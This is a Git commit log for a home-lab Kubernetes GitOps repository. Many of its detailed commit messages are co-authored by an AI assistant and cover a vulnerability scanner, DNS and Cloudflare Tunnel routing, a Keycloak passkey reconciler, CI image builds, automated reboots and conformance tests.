fd462a4ede656184a7729d9cf542e372e0ff4334
145
Commits
| Author | SHA1 | Message | Date | |
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  jakman85andClaude Opus 5.5
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d8b25a67fe |
fix(vuln): survive OOM kills, isolate bad upstream strings, label findings per line
Review findings on the integrated scanner: - An OOM kill no longer wedges the loop: inFlight is persisted before each scan, and on restart that image is marked failed and sits out full runs for 20h. - One bad upstream string can no longer freeze the report: safe_url requires an exact lowercase scheme, acceptance reasons are bounded, /triage urls use the same rule, and report.build repairs or drops any entry the schema would refuse. lastCompleteRunAt advances only after a report is actually published. - The private registry reports credential-required, not failed: VULN_PRIVATE_REGISTRIES names it, and Trivy is not invoked. - loadError clears after a full run against a good inventory. - Every image under platform/vuln-scanner stays out of Renovate auto-merge. - The page labels status and target state per line, and mixed acceptance reads as mixed. The Keycloak client is still an operator action: its key must go in an existing encrypted file that an agent must not modify. platform/vuln-scanner/README.md has the exact steps. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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d06dff9a19 |
fix(vuln): no-per-cve-label check also matches escaped-quote label forms
Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85
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b1a6fe6503 | Merge branch 'wip/vuln-platform' into feat/vuln-visibility | ||
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jakman85
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b265d08278 | Merge branch 'wip/vuln-bot' into feat/vuln-visibility | ||
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jakman85andClaude Opus 5.5
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b85d1e3ed7 |
feat(vuln): vuln-scanner platform manifests, Flux tier, alerts, L0/L2/L3 tests
Hand-authored platform/vuln-scanner (non-gating Flux tier, digest-pinned Trivy 0.76.1 and python 3.14.9-alpine, read-only RBAC, per-pod oauth2-proxy, internal-only cve.<domain>), five alerts with promtool tests, R-VULN-01..09 registry entries, and vuln-* L0 checks with mutation self-tests. src/ and the bot workflow are integrated separately. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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50ec2297ee |
feat(vuln): scanner service and fixture-driven L1 tests
Stdlib-only scanner per docs/17: Kubernetes API inventory, Trivy runner, persisted state, schema-validated report.json, strict acceptances parser, server-rendered page, aggregate metrics, internal API, and a scan loop that stays live while scanning. L1 tests under conformance/tests/l1-rendering/vuln-scanner-* run the actual modules against recorded fixtures with a fake Trivy runner. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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c3c72c47bb |
feat(vuln): CVE triage bot workflow, script and L1 tests
Scheduled Gitea Actions bot in the Renovate shape: maintains a counts-only CVE Dashboard issue, derives remediation states from Renovate's dashboard and PRs, ticks approve rows for exact-matched images with an unaccepted CRITICAL with a fix, and posts the heartbeat. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85
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da0515c8c8 |
Merge pull request 'fix(vpn): enrol keith-phone-home and admit the WireGuard subnet to PiHole DNS' (#158) from fix/wg-home-peer-pihole-sources into main
Reviewed-on: #158 |
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jakman85andClaude Opus 5.5
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f13d336630 |
fix(vpn): enrol keith-phone-home and admit the WireGuard subnet to PiHole DNS
Add the at-home peer (10.90.0.3) and list ${WG_CLIENT_CIDR} in the PiHole
DNS frontends' loadBalancerSourceRanges. wg0 is a Cilium device, so tunnel
clients reach the source-range check untranslated; a LAN-only list is
predicted to drop their DNS. Adds an L0 guard that both ranges are present
and every range is RFC1918, and corrects the README's SNAT and IPv6 claims.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
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jakman85andClaude Opus 5.5
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8fe8d5df8a |
feat(dns): PiHole answers an explicit LAN name list, not a zone wildcard
Public names are proxied CNAMEs to the Cloudflare Tunnel since PR #156 and work from the LAN, so they should resolve publicly there too. Replace the address=/${BASE_DOMAIN}/ wildcard with explicit entries: the LAN-only names (derived from every controller:none HTTPRoute), gitea/nextcloud (off Cloudflare's 100 MB / 100 s limits), keycloak/auth, and the L4 VIPs. Add L0 check pihole-lan-names, mutation-tested. Correct docs that still described public names as CNAME to wan. and the cloudflared entrypoint comment. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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92944486d1 |
feat(dns): publish public names as proxied CNAMEs to the Cloudflare Tunnel
Gateway target -> fc81938b-...cfargotunnel.com, --cloudflare-proxied globally, L4 service publishers (unifi, crafty-mc) pinned DNS-only, Plex web UI and Headlamp disowned (LAN/VPN-only). L0 internal-services-publish-no-public-dns gains assertion (9) tying the Gateway target to the tunnel UUID, requiring cloudflare-proxied=false on every service-source publisher, and keeping the tunnel's 404 list and the unpublished set consistent. L2 dns-exposure fixture opts out of proxying. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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d9ab57f2d1 |
fix(cloudflared): fsGroup so uid 65532 can read the 0440 credentials Secret
The pod ran as 65532:65532 with no fsGroup, so the kubelet laid the Secret's credentials.json down root:root 0440 — unreadable to the container. cloudflared logged "permission denied" and then the red-herring "Error locating origin cert". - deployment.yaml: securityContext.fsGroup 65532 (mode stays 0440) - L0 cloudflared-ingress-rules (7): Secret volumes must be readable by the container's run-as uid/groups; mutation self-tested - runbook: permission-denied troubleshooting entry, credential rotation section - decisions/2026-11-08-cloudflared-creds-permission.md Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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09f219fe7f |
fix(cloudflared): auditable Service+ServiceMonitor scrape; placeholder-only template value
servicemonitor-ports-resolve could not audit a PodMonitor with no in-repo Service, and no-plaintext-secrets requires a template's secret value to be a bare placeholder. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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aabc8c60b6 |
feat(cloudflared): Cloudflare Tunnel connector, Phase 1 (isolated, no traffic change)
Adds platform/cloudflared: a locally-managed tunnel whose ingress rules live in git. LAN/VPN-only hosts (plex, plex-vip, jackett, pihole, pihole-dns, semaphore, qbittorrent, radarr, sonarr, headlamp, unifi, crafty-mc) map to 404. The apex and *.home go to cilium-gateway-shared.gateway over TLS with matchSNItoHost. Last comes a catch-all 404. Nothing routes to the Kubernetes API. - 2-replica Deployment, hard node spread, non-root, pinned digest, PDB - default-deny plus an egress CNP: Cloudflare edge 7844/443, the Gateway, and Gateway backends by gateway-access=shared minus the LAN-only namespaces (needed because of the CVE-2025-30162 L7LB egress re-check) - PodMonitor plus two alerts that fire on absent series, with promtool tests - its own Flux Kustomization (dependsOn platform-config, wait:false, nothing depends on it), plus SOPS decryption patches in both overlays - placeholder credentials (SOPS-encrypted) so it can merge before enrolment - L0 cloudflared-ingress-rules, and a cloudflared_ scrape owner - runbooks/cloudflare-tunnel.md and decisions/2026-11-08-cloudflare-tunnel.md Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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 renovate-bot
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213429a41f | chore(deps): Update gitea.home.keithjackson.dev/home-network/conformance-runner:main Docker digest to 63e1aa7 | ||
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jakman85
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0b0b5abc8e |
Merge pull request 'feat(ci): run L0/L1 offline checks, mutation suites and yamllint in bounded parallel pools' (#149) from feat/parallel-l0-checks into main
Reviewed-on: #149 Reviewed-by: Keith Jackson <[email protected]> |
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jakman85
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7be693bf37 |
Merge pull request 'chore(deps): Update quay.io/oauth2-proxy/oauth2-proxy Docker tag to v7.15.6' (#136) from renovate/quay.io-oauth2-proxy-oauth2-proxy-7.x into main
Reviewed-on: #136 Reviewed-by: Keith Jackson <[email protected]> |
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jakman85andClaude Opus 5.5
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89f48e4a5f |
docs(decisions): handoff for parallel L0 checks; runner usage names --jobs
Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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a775082ae1 |
feat(ci): run L0/L1 offline checks, mutation suites and yamllint in bounded parallel pools
- conformance/lib/run_l1_offline.py: checks run in a thread pool (--jobs / CONF_OFFLINE_JOBS,
default min(8, usable CPUs)); results consumed in submission order, so log lines, JUnit,
step summary and the 0/1/3 aggregation are unchanged. Exports a smaller MUTATION_JOBS to
the children when parallel, so nested pools do not oversubscribe.
- keycloak-{passkey,client-secret}-reconciler/mutations.py: anchors checked first (serial),
then the --selftest subprocesses run in a pool (MUTATION_JOBS, default min(8, CPUs));
verdicts reported in MUTATIONS order. Output byte-identical to the serial loop.
- ci/lint.sh: yamllint over LINT_JOBS contiguous slices concurrently, per-slice output
buffered and printed in order; stage rc = highest slice rc.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
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jakman85andClaude Opus 5.5
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3d7ecbcfe9 |
fix(conformance): regenerate L1 render goldens for oauth2-proxy v7.15.6
PR #136 bumps the renderer's OAUTH2_PROXY_IMAGE; the container-workload and egress-class (vpn + internet) goldens still pinned v7.8.1. Regenerated with the check scripts' own invocation; each diff is the image tag only. Also updates the crafty README's current-pin row. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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9c51f60a35 |
feat(conformance): L0 guard that the external-dns annotationPrefix matches the tree
Add assertion (8) to internal-services-publish-no-public-dns. The external-dns HelmRelease must declare annotationPrefix explicitly, and every external-dns annotation in apps/, platform/, runbooks/ and catalog/render.py must use that prefix. The v0.23.0 default-prefix change on 2026-11-07 ignored the controller: none, target and hostname annotations while assertions (1)-(3) stayed green. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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renovate-bot
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c6cfaf62b6 | chore(deps): Update gitea.home.keithjackson.dev/home-network/conformance-runner:main Docker digest to 65cc7c1 | ||
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jakman85
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262c6e4a97 | Merge branch 'main' into feat/keycloak-passkey-reconcile | ||
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jakman85andClaude Opus 5.5
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04eb38584a |
fix(conformance): workload-mTLS certificates may use a private CA, if they prove they are workload-internal
R-TLS-01/docs/08 govern externally reachable TLS and ADR-0006 puts workload mTLS out of scope, but tls-lifecycle-automated required ACME for every Certificate, which platform/buildkit's internal CA cannot satisfy. Clause (5b) accepts the tls-scope=workload-mtls annotation only when the certificate proves it: no Gateway serves it, internal names only, namespaced selfSigned/ca issuer backed by an exempt CA certificate. Also fixes yamllint comma spacing in the buildkitd mounts. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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f65c12b395 |
feat(images): build on rootless BuildKit over mTLS; verification moves into Containerfile verify stages
Operator decision on PR #81: no CI job may reach a privileged daemon. The act runner is untouched. - platform/buildkit (+ clusters/base/buildkit.yaml): moby/buildkit v0.34.1-rootless pinned by digest, uid 1000, not privileged; caps drop ALL + SETUID/SETGID, seccomp/AppArmor Unconfined, read-only rootfs (each measured under podman). cert-manager CA + server/client certs, ClusterIP :1234, default-deny with ingress only from the act-runner pod (DinD masquerades jobs to it). No Kyverno exception: every applied policy matches app-namespace=true only. - Each Containerfile names its shipped stage and ends in a `verify` stage holding every former `docker run` assertion (uid 65532, RUN --network=none, writable-path inventory standing in for the read-only rootfs). The old `&& echo` checks that could never fail are real assertions now. - images.sh drives buildkitd with a pinned buildx (sha256-checked) via bake; PRs build verify targets with agent-runner FROM the in-run toolbox (target: context); main verifies, then pushes. Fails loudly when the builder secrets are absent or buildkitd is unreachable. - infra/gitea/buildkit-client-secret.sh copies the client cert into Actions secrets. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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e539109830 |
feat(images): build, verify and publish the three images in CI; Renovate carries the digests
Operator rule 2026-10-29: image creation, hosting and lifecycle belong to CI/CD, never to a workstation build/push. Nothing had ever been pushed to the Gitea registry. - .gitea/workflows/images.yaml + scripts/images.sh: PRs build+verify (no credential); main builds, verifies and pushes toolbox, agent-runner (FROM toolbox) and conformance-runner as sha-<commit> + main, reading the digest back from the registry. Only changed images build. - Each image's own build-image.sh does the build and in-image verification, now engine-neutral (DinD: no podman-only calls, probe over stdin not a bind mount). New toolbox build-image.sh. - Digest references carry `# renovate-digest:` markers; renovate.json5 gains a custom.regex manager for them. The worker Job template is deliberately untracked (it would loop). - renovate.yaml pins renovate-version 44.167.0: the action's default (39.264.0) rejects the current config's managerFilePatterns, so every run would have died at CONFIG_VALIDATION. - Push credential: REGISTRY_PUSH_TOKEN secret; the Actions token has no package scope in Gitea 1.24.3 (container.go Authenticate). Retention: infra/gitea/registry-retention.sh. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
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jakman85andClaude Opus 5.5
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17eed6e8ae |
fix(keycloak-passkey): bind only on git's say-so; protect real sub-flows; screen the requirement PUT by body id
Review findings on the passkey reconciler, fixed:
1. HIGH - the bind was automatic and rollback did not stick. A git-declared switch,
`bind-browser-flow` in passkey-desired-state.yaml, now decides whether pass 3 may
PUT browserFlow. Default "false": build + verify the candidate (or reuse a verified
one), log WOULD BIND <alias>, never touch the binding - including after an earlier
bind, so an operator's rollback sticks, and a hand-edited bound candidate is left
alone rather than shadowed by an -r2 build. "true" binds as before. The renderer
carries the one hand-edited line through and --check refuses anything but the
quoted strings "true"/"false". --no-bind can only narrow it.
2. HIGH - the protected-subtree guard read `alias` on sub-flow rows. Keycloak 26.0.6
AuthenticationManagementResource.recurseExecutions sets displayName =
flowRef.getAlias() and flowId on a sub-flow row and never sets alias (alias is the
CONFIG alias on authenticator rows), so the protected set was only the top-level
alias. Sub-flows are now named by displayName (getFlows() lists top-level flows
only, so flowId cannot be resolved through it); a sub-flow row without one leaves
the subtree undetermined and the flow pass fail-closed. The selftest stub now
returns 26.0.6-shaped rows, and a real run is asserted to refuse writes into
browser-mfa-forms and browser-mfa-conditional-otp.
3. MEDIUM - PUT /flows/{alias}/executions was screened on the path alias only, but
updateExecutions resolves the execution realm-wide by body id. body.id is now
screened against the protected ids AND required to be in the tree this run is
building (recorded from the build's own readback); the config POST is held to the
same build scope; and the body may carry only id/requirement/priority (the same
handler renames any flow named by flowId).
4. Stale "audit-only" docs rewritten (platform-config kustomization, chainsaw test,
desired-state header and its renderer template, README) to describe what ships.
5. backoffLimit 0 (a retried deterministic build failure burns the candidate-alias
budget); the stale "Renovate does not manage image: tags" comment corrected and the
image pinned by index digest.
6. The ~160-line header duplicated in the YAML and the script is now kept once, in the
script, with a short pointer above it.
Selftest: 259 assertions (was 216). mutations.py: 40 injected regressions (was 30),
including one per finding above, all caught.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
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jakman85andClaude Opus 5
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f5931944fa |
feat(keycloak): reconcile the passkey realm config via GitOps, the browser flow blue/green
PR #72 declared the WebAuthn passwordless policy and a restructured browser-mfa flow in the realm import. That declaration could not take effect: a KeycloakRealmImport is a ONE-SHOT, and prod's reads Done=True / Started=False, so every realm-level field and flow declared after the first import is inert -- in git, applied by Flux, reported Ready, reaching the realm never. Merging it changed nothing about how anyone logs in, and nothing anywhere said so. Same failure class as the 2026-09-06 client-secret incident, third field over. A SIBLING reconciler converges all three declared things every 15 minutes. It is a sibling, not a second pass of client-secret-reconciler.yaml, so that reconciler's allow-list -- and its guarantee that prod's real user and the media-users / platform-admins / viewers groups are structurally unreachable -- stays literally true. Its selftest still passes unchanged. pass 1 webAuthnPolicyPasswordless* -- strict read-modify-write of GET/PUT /admin/realms/homelab, readback-verified. pass 2 webauthn-register-passwordless -- strict read-modify-write of ONE literally-named alias; enabled, defaultAction false so enrolment stays opt-in. pass 3 the browser flow -- BLUE/GREEN. PASS 3 NEVER MUTATES THE FLOW USERS ARE LOGGING IN THROUGH. Converging a five-flow, ten-execution tree needs create-subflow, create-execution, set-requirement and bind-config as SEPARATE untransacted calls; doing that to the BOUND flow means a run dying between them leaves a half-built login path for every SSO app and kubectl, and this repo has had a total SSO outage from a realm change. So instead: 1. BUILD under a NEW, unused alias (declared alias + a hash of the desired shape, applied to EVERY alias in the tree -- reusing browser-mfa-forms would mean writing INTO the bound tree). A failure leaves an orphaned, unbound flow and zero user-visible effect. 2. VERIFY by readback -- levels, ordering, authenticators, requirements, and the conditional-OTP config CONTENTS -- before anything is bound, so the regression that once 403'd every platform-admin is caught BEFORE it bites. 3. BIND with ONE atomic PUT setting browserFlow. 4. ROLLBACK is one write; no DELETE exists anywhere in the allow-list, so the old flow survives as the rollback target. The widened allow-list is made safe structurally. It cannot say "but not the bound flow" -- its write entries are alias-parameterised -- so a second guard screens every write against the live browserFlow's WHOLE subtree (sub-flow aliases and execution ids) before a socket opens, FAIL-CLOSED until that binding has been read. The create-flow endpoint carries no alias in its path, so it is screened on its request BODY; the selftest caught that it otherwise escaped the guard. Idempotence is load-bearing: a rebuild-and-reflip every 15 minutes would churn the login path on a schedule. The bound flow is compared STRUCTURALLY and a match produces zero writes and no new flow. Sub-flow and config ALIASES are deliberately not compared -- a built flow carries a hash suffix, so comparing labels would make it permanently unrecognisable as converged. Single source of truth: the desired state is GENERATED from the realm import by ci/render-keycloak-passkey-policy.py and gated with --check, so the RP ID -- baked into every credential at enrolment and never re-keyable -- is declared once. The pod keeps automountServiceAccountToken: false and reads a mounted ConfigMap, so no rbac.yaml is added anywhere. Read from Keycloak 26.0.6 source before being relied on: updateRealm (DefaultExportImportManager 725-894) makes no getUsers/getClients/getGroups/ getRoles/getRequiredActions/getAuthenticationFlows call; it DOES read getBrowserFlow(), which is what makes the atomic bind possible and why the policy write pins it; the passwordless policy is applied all-or-nothing only when RpEntityName is non-empty, with defaults substituted for omitted keys; and updateExecutions compares rep.getPriority(), so a body omitting `priority` would silently reshuffle the whole execution order. Gate coverage: a new whole-repo L0 check extracts the script and runs its --selftest (216 assertions, including a build killed at four different points each asserting the old flow is still bound and the bound subtree was never written), plus mutations.py (30 injected regressions, all caught) proving the selftest can fail. An earlier iteration of this work only AUDITED the flow and left the restructure manual; decisions/2026-10-18-keycloak-passkey-reconciler.md records that design and why it was reconsidered. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
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793c3940a8 |
fix(conformance): one regex made the merge gate take 28 minutes instead of 2
ha-control-plane-as-code/check.sh had: re.search(r"--server https://.*?\n(?:.*\n){0,10}?\s*when:...'secondary'", K3S_TEXT, re.S) With re.S every `.` matches newlines, so `.*?` and the nested `(?:.*\n){0,10}?` can each consume the whole document -- nested unbounded repetition, which backtracks exponentially on a failed or late match. MEASURED in CI via `docker top` on the live job container: python3 at 19:54 of CPU time, which is essentially the entire ~28 minute gate. Localised to the exact line by extracting the inline python and running it under faulthandler.dump_traceback_later, which named re/__init__.py:177 in search from this call -- not inferred from reading. Replaced `.` with `[^\n]*` and dropped re.S, so the {0,10} is a real ten-line window with nothing to backtrack into. On the real input (22,179 chars): 0.2 ms, match still found. Whole check: 0.199s, rc 0, 115 assertions, identical success message. WHY IT SURFACED NOW, AND IT WAS MINE: K3S_TEXT is every *.yml in roles/k3s_server concatenated. The regex was latent for as long as it existed; PR #71 added ~100 lines to that role (kubelet graceful-shutdown config), growing the input past the point where exponential backtracking stopped being survivable. WHY ONLY infra/** WAS SLOW: touched-requirements.sh maps infra/* to R-ENV-01, so the L0 run becomes --include-scope whole-repo --requirements R-ENV-01, which selects this whole-repo check. Doc/platform changes never did -- #69 1m55s and #72 1m53s stayed fast while #71 27m44s, the #73 merge 27m46s and #75 all ran ~28m. The pattern is unique in the repo (grep over all l0-static check.sh files). Not re-timed in CI post-fix; this PR's own run is the first datapoint. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
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a2440a3125 |
feat(upgrades): automated OS reboots (kured) + security-only unattended-upgrades, and give Renovate a runner
Two halves of one repeatable upgrade process. Neither works alone. (a) OS upgrades and reboots platform/kured/ — Kubernetes Reboot Daemon, chart 6.1.0/app 1.23.0, in its own Flux Kustomization (dependsOn platform, wait:true). NOT in platform/kustomization.yaml: that tier gates platform-config and every apps wave, so a wedged reboot daemon there could stall every application. A component added to make maintenance safer must not be able to cause an outage. infra/ansible/roles/unattended_upgrades/ — new role (node_baseline is touched by other open branches, and this is a different lifecycle), enabled for prod in group_vars. The human gate is the SENTINEL, which is how this honours node_baseline's "IT DOES NOT REBOOT" (k3s-prod-2 hung on a warm reboot 2026-09-03) and cluster-upgrade-plan.md's rejection of automating away the gate between nodes: u-u is security-only with the kernel blacklisted, so it essentially never writes /var/run/reboot-required. That file appears when an operator deliberately runs node-baseline.yml --tags kernel. kured then does only the mechanical half, including the ordering rule node_baseline has to shout. Quorum: concurrent reboots are structurally impossible, not merely unlikely. concurrency:1 plus kured's single lock annotation (API-server optimistic concurrency), and lockTtl:0 — an expiring lock is exactly the 3-node etcd catastrophe, so a hung node holds it forever and nothing cascades. Longhorn: measured 25 volumes x 3 replicas, hard anti-affinity, 600s replenishment wait, serialized rebuild — so every drain degrades ALL volumes to 2/3 and the inter-node gate must be volume robustness, not pod readiness. Doubled: lockReleaseDelay 30m (unconditional) plus kured's Prometheus alert gate (semantic). alertFilterMatchOnly:true is load-bearing — the flag inverts the regexp's meaning, and under the chart default kured would have been blocked on day one by the five alerts measured firing with no end in sight, and never rebooted anything. Kernel floor (kernel >= 6.13, EFI memattr): excluded TWICE. The running kernel comes from o=Debian Backports, which is not an allowed origin, so u-u cannot see a kernel upgrade; and ^linux- is blacklisted anyway so widening origins later cannot re-arm it. Asserted against apt-config dump, not against the file just written. 6.12 kernels are still installed and bootable on all three nodes, and nothing was held. Closes a silent no-op: update-notifier-common was absent on all three nodes, so NOTHING could create the sentinel. kured alone would have idled forever at 1/1 Running. platform/kured/alerts.yaml — three rules over kured's only metric, with a companion promtool suite pinning each both ways, plus runbooks/node-reboot-automation.md. Window is DAILY 03:00-06:00 because a weekly one forces for:8d, longer than this cluster's 7d Prometheus retention. (b) Image/dependency automation Renovate was aspirational: renovate.json present and complete, with no workflow, no in-cluster workload, and its docker+kubernetes managers disabled — so every plain image: tag was maintained by nothing while seven files claimed otherwise. .gitea/workflows/renovate.yaml — scheduled daily, dry_run default true for a safe first run, and a preflight that FAILS (not skips) without RENOVATE_TOKEN, because a skipped Gitea job reports success and that is how this stayed inert. Renovate now owns both halves; Flux image-automation is formally closed: it pushes commits rather than opening PRs (bypassing CLAUDE.md §1), and it cannot work here anyway — main is protected user_can_push:false and the flux-system GitRepository has no secretRef. Its controllers are installed and have idled 43 days with zero CRs. conformance/: +34/-0, one new SCRAPE_OWNERS entry claiming kured_. Weakens nothing; tightens the check for this component (requires service.create+metrics.create, both chart-default false, plus a companion NetworkPolicy requirement). Required because assertion (3) fails an alert over an unclaimed metric and KNOWN_UNWIRED_METRICS is shrink-only. Sensitive paths touched: clusters/**, conformance/**, .gitea/** — needs a non-author approving review; /approve-override deliberately NOT posted. NOT verified: no OS upgrade run, no node rebooted, no lock observed, the Ansible role never executed, and whether CNPG switches its primary on a drain-induced eviction (the most likely way the first real reboot fails). Full list in the handoff entry. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
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b156ee6cfa |
fix(obs): open 44180 to ns monitoring so the forward-auth gate sidecars are actually scrapable
platform/oauth2-proxy/podmonitor.yaml landed 2026-10-02 and discovered six targets that have never once scraped. Measured on prod 2026-10-04: all six read health=down with lastError "context deadline exceeded" and lastScrapeDuration exactly 10.0s — the configured scrapeTimeout, i.e. packets DROPPED rather than refused. Cause: every app namespace ships a default-deny NetworkPolicy with policyTypes: [Ingress, Egress] and NO ingress key at all (deny-all-ingress), and the only ingress allowance is <app>-allow-gateway-ingress: fromEntities: [ingress] -> 4180. Prometheus matched no clause. Verified identical in all six of jackett, radarr, sonarr, qbittorrent, pihole, crafty; zero namespaces had any -allow-monitoring-scrape object. render.py already had the right idiom — r_monitoring_ingress_policy — but it returned None unless the service declared observability.metricsEndpoint, and NO ServiceDefinition in this catalog declares one. It was wired in at the call site and had never emitted a single object on any branch: correct, and entirely latent. It now also fires for the forward-auth gate sidecar's own metrics port, keyed on _needs_oauth2_sidecar — deliberately the same condition the scrape keys on, since podmonitor.yaml selects pods purely by the auth-mode label, so a target exists iff the sidecar exists. Keying on observability.metrics instead would let metrics: false produce a discovered-but-blocked target: the same "two halves authored apart" failure this function exists to prevent. Rendered here rather than in platform/oauth2-proxy because that tier would have to name app namespaces created by the sibling apps-wave-0/1 tiers — it would apply on a running cluster and fail on a cold bootstrap. podmonitor.yaml's header records that objection; rendering per-app dissolves it. Five CNPs result, one per forward-auth app, each opening only 44180 to only ns monitoring. apps/ re-rendered with the invocation it was generated by (--no-image-automation, verified byte-identical beforehand); --emit-waves deliberately not run, so no wave kustomization moved. Three L1 goldens are regenerated with it (+63 lines, -0): a renderer change that adds an object necessarily drifts the goldens that pin the renderer's output. The first gate run caught container-workload-render and egress-class-render as FAIL with exactly this CNP as the drift. default-deny-baseline-render's golden regenerated byte-identical, which is the evidence that the regen is faithful and not a rubber stamp. That puts conformance/** in the diff, which is a sensitive path: this PR needs a non-author approving review. The local gate cannot see that — offline it reports approval-policy green (N/A). Local toolbox gate: rc 3 UNDETERMINED, not 0. Every stage that ran is green and l1 went FAIL -> pass with the goldens; the only not-run stage is gitea-settings (no GITEA_SETTINGS_TOKEN). L2/L3 conformance is UNVERIFIED for all 8 touched requirements. Not verified: that the scrape now succeeds. Nothing is applied until Flux reconciles main. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85
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4f16e83eec |
Merge pull request 'feat(obs): make oauth2-proxy auth failures visible — the gates emit nothing' (#29) from feat/oauth2-proxy-auth-failure-visible into main
Reviewed-on: #29 Reviewed-by: Keith Jackson <[email protected]> |
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jakman85andClaude Opus 5
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99560c2d22 |
feat(auth): declare API paths per service, so --api-route can ship at all
PR #28 fixed the cookie collision, the 5-minute session and the missing metrics
listener in one renderer function, and deliberately declined `--api-route`
because the config model could not express the difference between two apps.
This adds the hook it was missing and sets the flag only where a measurement
says to.
THE DEFECT. oauth2-proxy answers an unauthenticated request with a 302 to
Keycloak. Its AJAX guard would send 401 instead, but it fires only on an EXACT
`Accept: application/json`, which these apps' JavaScript does not consistently
send. So a browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied
silently by the live SSO session, and resolves 200 carrying the app's HTML where
the JavaScript expected JSON. On a write it is worse: a browser following a 302
re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
discarded and the UI reports success.
MEASURED, on two apps and two different paths -- which is the whole argument:
jackett 2026-09-30: 33 x 302 vs 2 x 401 on /api/ paths, and 4 of 6 POSTs
answered by the proxy and never reaching Jackett (upstream `-`).
radarr 2026-10-01, 23h after PR #28 deployed (pod radarr-7d55cbffb9-42hmh,
0 restarts): 232 unauthenticated requests in the pod's whole life and
ALL 232 are the same call -- POST /signalr/messages/negotiate from a
browser, 302, upstream `-`. A left-open tab whose session the cookie
rename orphaned, polling forever, silently redirected every time and
NEVER re-prompting. The reported symptom, still in production.
So radarr's broken path is /signalr/ and jackett's is /api/, and PIHOLE SERVES
NO /api/ AT ALL. One function renders all five sidecars, so the cheap fix is a
constant -- and a constant applies one app's measurement to four apps nobody
measured. `auth` was `additionalProperties: false`, so there was no per-app
hook. Adding one named, documented key is the change; the block stays closed.
schemas/servicedefinition.schema.json 1.8.0 -> 1.9.0: optional
`auth.apiRoutes`, a list (radarr needs two, and --api-route is natively
repeatable) of anchored path regexes. Plus the shape invariant that a
non-empty list requires mode: forward-auth, since no sidecar is rendered
for oidc/native/none and declaring it there would be a SILENT NO-OP.
catalog/render.py emits one --api-route per entry, in order, and RAISES on
an unanchored entry. The flag is SINGULAR -- verified against the pinned
v7.8.1 binary's own --help; --api-routes does not exist and the proxy
refuses to start with it.
catalog/{jackett,radarr}.yaml the two measured apps.
catalog/{pihole,sonarr,qbittorrent}.yaml comments recording that they get
NOTHING, and why. Sonarr and qBittorrent were measured (0 unauthenticated
requests in 23h) and left alone: that is evidence of no TRAFFIC, not of no
need, and sonarr being nearly radarr's codebase is what makes the guess
tempting and still a guess.
apps/wave-0/jackett.yaml, apps/wave-1/radarr.yaml regenerated. Only TWO
goldens change; pihole/qbittorrent/sonarr are byte-identical to main,
which is the per-app property proving itself on the real tree.
BREADTH IS THE DANGEROUS DIRECTION AND IT IS NOT SYMMETRIC. A missing
--api-route is a silent 302. A too-broad one answers a plain PAGE LOAD with
401, so a logged-out operator gets a bare error page and is never offered a
sign-in -- the service looks permanently broken. Each entry must therefore
match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$`: anchored at ^/ then literal path
characters. `^/`, `^/.*`, `.*`, `/api/` and `^/api/|^/` are all rejected, all
five provoked. Alternation is refused rather than supported because the flag is
repeatable, so one entry per route costs nothing.
NEW GATE CHECK: conformance/tests/l0-static/oauth2-proxy-api-routes-per-app
(whole-repo scope, so ci/l0.sh's --include-scope union runs it on every
invocation; no bespoke stage, which whole-repo-invariants-wired would fail).
It is a SIBLING of oauth2-proxy-cookie-names-distinct, not an extension of it:
that check's subject is cookie IDENTITY and shares neither inputs nor failure
mode with this, so bundling them would make its name a lie and let a future
api-route decision be expressed only by weakening a COOKIE check.
The check exists for one reason the other gates cannot cover: render-golden
compares the render to the goldens, so a RENDERER CONSTANT plus regenerated
goldens AGREE WITH EACH OTHER while both being wrong. Provoked: the regen exits
0 -- render-golden is happy -- and this check exits 1 with 15 failures naming
pihole, qbittorrent, radarr and sonarr individually. It also asserts the
anchoring pattern is the SAME in the schema and the renderer, because three
surfaces guard this and if they drift the loosest wins silently.
Tested in both directions on throwaway trees outside the repo: compliant tree
rc 0 / 43 assertions / 6 sidecars; pre-change tree rc 1 / 11 failures; and four
targeted mutations (hand-edited golden, widened regex, renderer constant,
deleted schema pattern) each firing their own assertion class and nothing else.
ALSO FOLDED IN (coordinator's request; defect is in the file I own). _selftest()
reached _cookie_name() through a bare `next(genexpr)` with NO default, so
deleting the --cookie-name emission -- the exact mutation that assertion exists
to catch -- raised StopIteration, which escaped _selftest() BEFORE its collected
`SELFTEST FAIL:` lines were printed. Right verdict, zero diagnostics, and it
masked every other assertion the same mutation broke (found by Desmond Oyelaran
while wiring the selftest into the render-golden stage; his PR #33 is not in this
base -- origin/main @
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jakman85andClaude Opus 5
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bce101d03f |
feat(obs): wire the gate-sidecar scrape, and fix the alert that would have gone silent doing it
